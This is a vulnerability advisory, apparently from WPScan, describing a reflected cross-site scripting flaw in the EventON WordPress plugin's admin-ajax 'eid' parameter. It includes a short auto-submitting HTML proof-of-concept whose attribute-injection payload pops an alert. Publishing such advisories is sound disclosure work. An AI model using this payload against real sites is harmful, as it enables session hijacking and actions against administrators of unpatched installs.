EventON (Free < 2.2.8, Premium < 4.5.5) - Reflected XSS

2024-01-1000:00:00

Erwan LR (WPScan)

eventon

reflected xss

vulnerability

version 2.2.8

version 4.5.5

free

premium

admin-ajax.php

exploit

security

0.0005 Low

EPSS

Percentile

17.0%

JSON

Description The plugins do not properly sanitise and escape a parameter before outputting it back in pages, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page with the code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="eventon_select_virtual_moderator" />
      <input type="hidden" name="eid" value="'autofocus onfocus=alert`XSS` a=b" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.0005 Low

EPSS

Percentile

17.0%

JSON

Related for WPEX-ID:04A708A0-B6F3-47D1-AAC9-0BB17F57C61E